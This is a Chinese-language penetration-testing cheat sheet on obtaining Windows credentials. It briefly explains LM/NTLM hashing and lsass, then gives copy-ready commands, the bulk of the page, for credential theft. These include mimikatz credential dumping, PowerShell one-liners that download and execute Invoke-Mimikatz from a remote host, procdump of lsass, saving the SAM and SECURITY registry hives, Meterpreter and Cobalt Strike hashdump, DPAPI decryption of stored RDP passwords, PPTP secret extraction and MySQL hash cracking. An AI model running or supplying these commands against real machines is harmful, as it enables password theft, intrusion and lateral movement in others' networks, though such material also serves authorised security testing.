【渗透笔记】Windows密码凭证获取

Windows Hash

Windows系统使用两种方法对用户的密码进行哈希处理,它们分别是**LAN Manager(LM)哈希和NT LAN Manager(NTLM)**哈希。

【渗透笔记】Windows密码凭证获取_第1张图片
LM哈希存在缺陷,所以新版的win不再使用

LM哈希密码最大长度为14,密码长度超过14位使用NTLM哈

所谓哈希(hash),就是使用一种加密函数进行计算后的结果。这个加密函数对一个任意长度的字符串数据进行 一次数学加密函数运算,然后返回一个固定长度的字符串。

现在已经有了更新的NTLMv2以及Kerberos验证体系。

Windows加密过的密码口令,我们称之为hash,Windows的系统密码hash默认情况下一般由两部分组成:第一 部分是LM-hash,第二部分是NTLM-hash。

Windows系统下hash密码格式:
用户名称:RID:LM-HASH值:NT-HASH值
在这里插入图片描述

Windows的认证包括三个部分:

  • 本地认证:用户直接操作计算机登陆账户
  • 网络认证:远程连接到工作组中的某个设备
  • 域认证:登陆到域环境中的某个设备

Windows本地认证

  1. 用户输入密码
  2. 系统收到密码后将用户输入的密码计算成NTLM Hash
  3. 与sam数据库(%SystemRoot%\system32\config\sam)中该用户的哈希比对
  4. 匹配则登陆成功,不匹配则登陆失败

NTLM哈希,是一种单向哈希算法,Windows将用户的密码计算成NTLM哈希之后才存储在电脑中。

本地认证中用来处理用户输入密码的进程为lsass.exe,密码会在这个进程中明文保存,供该进程将密码计算成 NTLM Hash与sam进行比对,我们使用mimikatz来获取的明文密码,便是在这个进程中读取到的

python库计算mtlm的hash

pip install passlib

from passlib.hash import nthash
print(nthash.hash('admin')

在这里插入图片描述
解密:
cmd5.com

系统用户密码凭证获取

凭证获取工具

  1. Mimikatz mimikatz
  2. Powershell脚本
  3. WCE
  4. Pwddump7
  5. Ophcrack
  6. Procdump+Mimikatz
  7. 注册表导出Hash
  8. LaZagne
  9. Meterpreter获取Hash
  10. Cobaltstrile获取Hash

Mimikatz

本地非交互式凭证获取:


> mimikatz.exe "log res.txt" "privilege::debug" "token::elevate" "lsadump::sam" "exit"
> mimikatz.exe "log logon.txt" "privilege::debug" "sekurlsa::logonpasswords" "exit

Powershell脚本

Powershell远程加载mimikatz脚本mimikatz脚本链接:

powershell IEX (New-Object Net.WebClient).DownloadString('http://xxx.xxx.xxx.xxx/InvokeMimikatz.ps1');Invoke-Mimikatz –DumpCred

Powershell加载Get-PassHashes脚本:

powershell IEX(new-object net.webclient).downloadstring('http://xx.xx.xxx.xxx/GetPassHashes.ps1');Get-PassHashes

WCE

WCE:Windows Credentials Editor

WCE是跟mimikztz齐名的一款hash管理工具。

官网地址:https://www.ampliasecurity.com/research.html

32位下载:https://www.ampliasecurity.com/research/wce_v1_42beta_x32.zip

64位下载:https://www.ampliasecurity.com/research/wce_v1_42beta_x64.zip

历史版本下载:https://www.ampliasecurity.com/research/windows-credentials-editor/
【渗透笔记】Windows密码凭证获取_第2张图片

Psddump7

这款工具可以读取出当前系统的各个用户的密码hash (包括LM和NTLM)。

在命令行输入Pwddump7.txt就可以读取出hash并显示出来,也可以保存到一个文件中。

Pwddump7.exe > pass.txt 得到的结果格式为
在这里插入图片描述

Ophcrack

如果网站无法破解出hash值,我们可以使用ophcrack工具配合彩虹表自己破解。

工具下载:https://ophcrack.sourceforge.io/

彩虹表:
https://ophcrack.sourceforge.io/tables.php

http://project-rainbowcrack.com/table.htm

Procdump+Mimikatz (常用)

Procdump下载: https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump

Procdump lsass 进程导出:

For 32bits:procdump.exe -accepteula -ma lsass.exe lsass.dmp

For 64bits:procdump.exe -accepteula -64 -ma lsass.exe lsass.dmp

然后使用mimikatz还原密码:

sekurlsa::minidump lsass.dmp

sekurlsa::logonPasswords full

注册表导出hash

reg save HKLM\SYSTEM system.hiv

reg save HKLM\SAM sam.hiv

reg save HKLM\SECURITY security.hiv

导出后可以使用cain导入system.hiv、security.hiv获取缓存中的明文信息。

mimikatz.exe “lsadump::sam /system:system.hiv /sam:sam.hiv” exit

python secretsdump.py -sam sam.hiv -security security.hiv -system system.hiv LOCAL

LaZagne(常用)

传送门

Meterpreter获取Hash

msf中有两个模块,hashdump和smart_hashdump

use post/windows/gather/hashdump  //system权限的meterpreter
set session 1
exploit //结果保存在tmp目录下


use post/windows/gather/smart_hashdump
set session 1
exploit

Cobaltstrike获取Hash

hashdump
logonpasswords
mimikatz sekurlsa::logonpassword

【渗透笔记】Windows密码凭证获取_第3张图片

Others

Powershell脚本获取RDP连接记录

https://github.com/3gstudent/List-RDP-Connections-History

在获取内网机器管理员权限后,查看是否有保存到本地的RDP连接密码,对保存到本地的RDP连接密码进行解密, 解密成功后可使用此凭据继续横向移动。

powershell -exec bypass -f 1.ps1

本地RDP连接密码解密

  • 用Mimikatz解密

查看本地机器本地连接过的目标机器:

reg query "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /s
  • 查看本地用户此目录下是否存有RDP密码文件
dir /a %userprofile%\AppData\Local\Microsoft\Credentials\*

【渗透笔记】Windows密码凭证获取_第4张图片

  • 查看保存在本地的远程主机信息
    cmdkey /list
    【渗透笔记】Windows密码凭证获取_第5张图片

选择一个密码文件对其进行解密

privilege::debug
dpapi::cred /in:C:\Users\mingy\AppData\Local\Microsoft\Credentia ls\1E85A94EE31F584E484B8120E3ADA26

此处需要记录下guidMasterKey的值,待会要通过 guidMasterKey找对应的Masterkey。

根据guidMasterKey找到对应的Masterkey
mimiazt
sekurlsa::dpapi
【渗透笔记】Windows密码凭证获取_第6张图片
然后再通过Masterkey解密pbData数据,拿到明文RDP连接密码

dpapi::cred /in:C:\Users\mingy\AppData\Local\Microsoft\Credentials\1E85A94EE31F584E484B8120E3ADA266 /masterkey:f391aa638da6b6d846685f84660ee638bd6d3122214de34285b4dd3bd827a5c3925c5bd7a44 8c175457c19b2556c9f6f5248ef9256060a5b74c1264d3a5a99f8

PPTP口令获取

PPTP:点对点隧道协议,可以使远程用户通过拨入ISP访问企业内网。

在渗透测试中,如果获得了用户的PPTP口令,就能远程拨入内网,做进一步渗透。

需要拿到目标系统管理员权限
【渗透笔记】Windows密码凭证获取_第7张图片

  • 获取PPTP配置信息

    type %APPDATA%\Microsoft\Network\Connections\Pbk\rasphone.pbk

    可获得PPTP连接的配置信息,包括服务器IP,不包含连接用户名和口令

  • mimikatz获取PPTP密码

    mimikatz.exe privilege::debug token::elevate lsadump::secrets exit

  • 命令行下连接VPN

    rasdial "VPN1" admin1 admin1@

  • 命令行关闭VPN连接

    rasphone -h "VPN1"

Mysql数据库密码破解

一旦获取了网站一定的权限后,如果能够获取MySQL中保存用户数据,通过解密后,即可通过正常途径来访问数 据库;一方面可以直接操作数据库中的数据,另一方面可以用来提升权限。

MySQL数据库用户密码跟其它数据库用户密码一样,在应用系统代码中都是以明文出现的,在获取文件读取权限 后即可直接从数据库连接文件中读取。

一般都包含有数据库类型,物理位置,用户名和密码等信息。

MYSQL数据库文件共有“frm”、“MYD”“和MYI”三种文件类型

“.frm” 是描述表结构的文件

“.MYD” 是表的数据文件

“.MYI” 是表数据文件中任何索引的数据树

与用户相关的一共有三个文件即user.frm、user.MYD、user.MYI,MYSQL数据库用户密码都保存在user.MYD文件中,包括root 用户和其他用户的密码

MYSQL加密方式

MYSQL数据库的认证密码有两种方式:

MYSQL 4.1版本之前是MYSQL323加密

MYSQL 4.1和之后的版本都是MYSQLSHA1加密

MYSQL数据库中自带Old_Password(str)和Password(str)函数,它们均可以在MYSQL数据库里进行查询, 前者是MYSQL323加密,后者是MYSQLSHA1方式加密。

MYSQL323加密中生成的是16位字符串,而在MYSQLSHA1中生存的是41位字符串,其中*是不加入实际的密码 运算中,MYSQLSHA1加密的密码的实际位数是40位

用winhex编辑器打开user.MYD文件,使用二进制模式查看,即可得到密码Hash值
【渗透笔记】Windows密码凭证获取_第8张图片
破解Hash值得方法:

  • 在线网站破解 cmd5 somd5

  • hashcat破解
    hashcat.exe -m 300 -a 3 81F5E21E35407D884A6CD4A731AEBFB6AF209E

  • john the ripper破解(kali自带)

    john --list=format |grep mysql
    john --format=mysql-sha1 mysql.hash
    

常用软件密码获取

在Windows系统下保存密码,无非就存在于两个位置:注册表、文件

工具:
how-does-navicat-encrypt-password

SharpDecryptPwd

对密码已保存在 Windwos 系统上的部分程序进行解析,包括:Navicat,TeamViewer,FileZilla,WinSCP,Xmangager系列产品(Xshell,Xftp)。

你可能感兴趣的:(windows,渗透测试,内网)